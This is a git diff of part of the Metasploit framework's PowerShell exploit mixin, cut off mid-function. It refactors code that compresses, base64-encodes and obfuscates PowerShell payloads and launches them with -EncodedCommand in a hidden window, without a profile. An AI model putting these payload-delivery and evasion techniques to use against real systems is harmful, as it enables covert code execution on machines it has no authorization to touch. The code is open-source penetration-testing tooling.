diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index c42418288339..c45e002274d0 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -1,178 +1,380 @@ # -*- coding: binary -*- -require 'zlib' +require 'rex/exploitation/powershell' module Msf module Exploit::Powershell + PowershellScript = Rex::Exploitation::Powershell::Script def initialize(info = {}) super - register_options( - [ - OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), - OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), - OptBool.new('RUN_WOW64', [ - true, - 'Execute powershell in 32bit compatibility mode, payloads need native arch', - false - ]), + register_advanced_options( + [ + OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), + OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), + OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), + OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), + OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), + OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), + OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]), ], self.class) end # - # Insert substitutions into the powershell script + # Return an encoded powershell script + # Will invoke PSH modifiers as enabled # - def make_subs(script, subs) - if ::File.file?(script) - script = ::File.read(script) + # @param script_in [String] Script contents + # + # @return [String] Encoded script + def encode_script(script_in) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) end - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end - return script + psh.encode_code end # - # Return an array of substitutions for use in make_subs + # Return a gzip compressed powershell script + # Will invoke PSH modifiers as enabled # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) + # @param script_in [String] Script contents + # @param eof [String] Marker to indicate the end of file appended to script + # + # @return [String] Compressed script with decompression stub + def compress_script(script_in, eof = nil) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) end - return new_subs + + psh.compress_code(eof) end # - # Read in a powershell script stored in +script+ + # Generate a powershell command line, options are passed on to + # generate_psh_args # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end + # @param opts [Hash] The options to generate the command line + # @option opts [String] :path Path to the powershell binary + # @option opts [Boolean] :no_full_stop Whether powershell binary + # should include .exe + # + # @return [String] Powershell command line with arguments + def generate_psh_command_line(opts) + if opts[:path] and (opts[:path][-1, 1] != '\\') + opts[:path] << '\\' + end - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script + if opts[:no_full_stop] + binary = 'powershell' + else + binary = 'powershell.exe' end - return script_in - end + args = generate_psh_args(opts) + + "#{opts[:path]}#{binary} #{args}" + end # - # Return a zlib compressed powershell script + # Generate arguments for the powershell command + # The format will be have no space at the start and have a space + # afterwards e.g. "-Arg1 x -Arg -Arg x " # - def compress_script(script_in, eof = nil) + # @param opts [Hash] The options to generate the command line + # @option opts [Boolean] :shorten Whether to shorten the powershell + # arguments (v2.0 or greater) + # @option opts [String] :encodedcommand Powershell script as an + # encoded command (-EncodedCommand) + # @option opts [String] :executionpolicy The execution policy + # (-ExecutionPolicy) + # @option opts [String] :inputformat The input format (-InputFormat) + # @option opts [String] :file The path to a powershell file (-File) + # @option opts [Boolean] :noexit Whether to exit powershell after + # execution (-NoExit) + # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo) + # @option opts [Boolean] :noninteractive Whether to load a non + # interactive powershell (-NonInteractive) + # @option opts [Boolean] :mta Whether to run as Multi-Threaded + # Apartment (-Mta) + # @option opts [String] :outputformat The output format + # (-OutputFormat) + # @option opts [Boolean] :sta Whether to run as Single-Threaded + # Apartment (-Sta) + # @option opts [Boolean] :noprofile Whether to use the current users + # powershell profile (-NoProfile) + # @option opts [String] :windowstyle The window style to use + # (-WindowStyle) + # + # @return [String] Powershell command arguments + def generate_psh_args(opts) + return '' unless opts + + unless opts.key? :shorten + opts[:shorten] = (datastore['Powershell::method'] != 'old') + end + + arg_string = ' ' + opts.each_pair do |arg, value| + case arg + when :encodedcommand + arg_string << "-EncodedCommand #{value} " if value + when :executionpolicy + arg_string << "-ExecutionPolicy #{value} " if value + when :inputformat + arg_string << "-InputFormat #{value} " if value + when :file + arg_string << "-File #{value} " if value + when :noexit + arg_string << '-NoExit ' if value + when :nologo + arg_string << '-NoLogo ' if value + when :noninteractive + arg_string << '-NonInteractive ' if value + when :mta + arg_string << '-Mta ' if value + when :outputformat + arg_string << "-OutputFormat #{value} " if value + when :sta + arg_string << '-Sta ' if value + when :noprofile + arg_string << '-NoProfile ' if value + when :windowstyle + arg_string << "-WindowStyle #{value} " if value + end + end - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression << "$stream.ReadByte()|Out-Null;" - psh_expression << "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression << "$(New-Object IO.Compression.DeflateStream(" - psh_expression << "$stream," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))," - psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression + # Command must be last (unless from stdin - etc) + if opts[:command] + arg_string << "-Command #{opts[:command]}" + end + + # Shorten arg if PSH 2.0+ + if opts[:shorten] + # Invoke-Command and Out-File require these options to have + # an additional space before to prevent Powershell code being + # mangled. + arg_string.gsub!(' -Command ', ' -c ') + arg_string.gsub!('-EncodedCommand ', '-e ') + arg_string.gsub!('-ExecutionPolicy ', '-ep ') + arg_string.gsub!(' -File ', ' -f ') + arg_string.gsub!('-InputFormat ', '-i ') + arg_string.gsub!('-NoExit ', '-noe ') + arg_string.gsub!('-NoLogo ', '-nol ') + arg_string.gsub!('-NoProfile ', '-nop ') + arg_string.gsub!('-NonInteractive ', '-noni ') + arg_string.gsub!('-OutputFormat ', '-o ') + arg_string.gsub!('-Sta ', '-s ') + arg_string.gsub!('-WindowStyle ', '-w ') + end + + # Strip off first space character + arg_string = arg_string[1..-1] + # Remove final space character + arg_string = arg_string[0..-2] if (arg_string[-1] == ' ') + + arg_string end # - # Runs powershell in hidden window raising interactive proc msg + # Wraps the powershell code to launch a hidden window and + # detect the execution environment and spawn the appropriate + # powershell executable for the payload architecture. # - def run_hidden_psh(ps_code,ps_bin='powershell.exe') - ps_args = " -EncodedCommand #{ compress_script(ps_code) } " + # @param ps_code [String] Powershell code + # @param payload_arch [String] The payload architecture 'x86'/'x86_64' + # @param encoded [Boolean] Indicates whether ps_code is encoded or not + # + # @return [String] Wrapped powershell code + def run_hidden_psh(ps_code, payload_arch, encoded) + arg_opts = { + noprofile: true, + windowstyle: 'hidden', + } + + if encoded + arg_opts[:encodedcommand] = ps_code + else + arg_opts[:command] = ps_code.gsub("'", "''") + end + + # Old technique fails if powershell exits.. + arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old' - ps_wrapper = <